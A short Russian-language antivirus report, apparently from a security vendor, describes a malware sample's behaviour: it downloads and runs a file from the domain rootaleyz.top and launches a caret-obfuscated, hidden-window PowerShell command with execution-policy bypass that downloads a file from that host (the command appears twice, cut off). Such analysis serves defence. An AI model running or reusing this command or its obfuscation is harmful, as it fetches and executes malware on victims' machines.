Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://rootaleyz.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "P^OW^er^s^H^Ell.^EXe -^E^XEC^U^t^IONP^o^l^ICY^ bYP^Ass ^-^n^OP^Ro^F^il^E -Win^dO^W^sTYLE H^i^D^DeN ^(^nEW-^OBJ^EcT SySt^E^m^.NE^t.WEbclienT)^.^doWN^LOaDF^il^E^('http://rootaley...
Сетевая активность
UDP
- DNS ASK ro###leyz.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "P^OW^er^s^H^Ell.^EXe -^E^XEC^U^t^IONP^o^l^ICY^ bYP^Ass ^-^n^OP^Ro^F^il^E -Win^dO^W^sTYLE H^i^D^DeN ^(^nEW-^OBJ^EcT SySt^E^m^.NE^t.WEbclienT)^.^doWN^LOaDF^il^E^('http://rootaley...' (со скрытым окном)
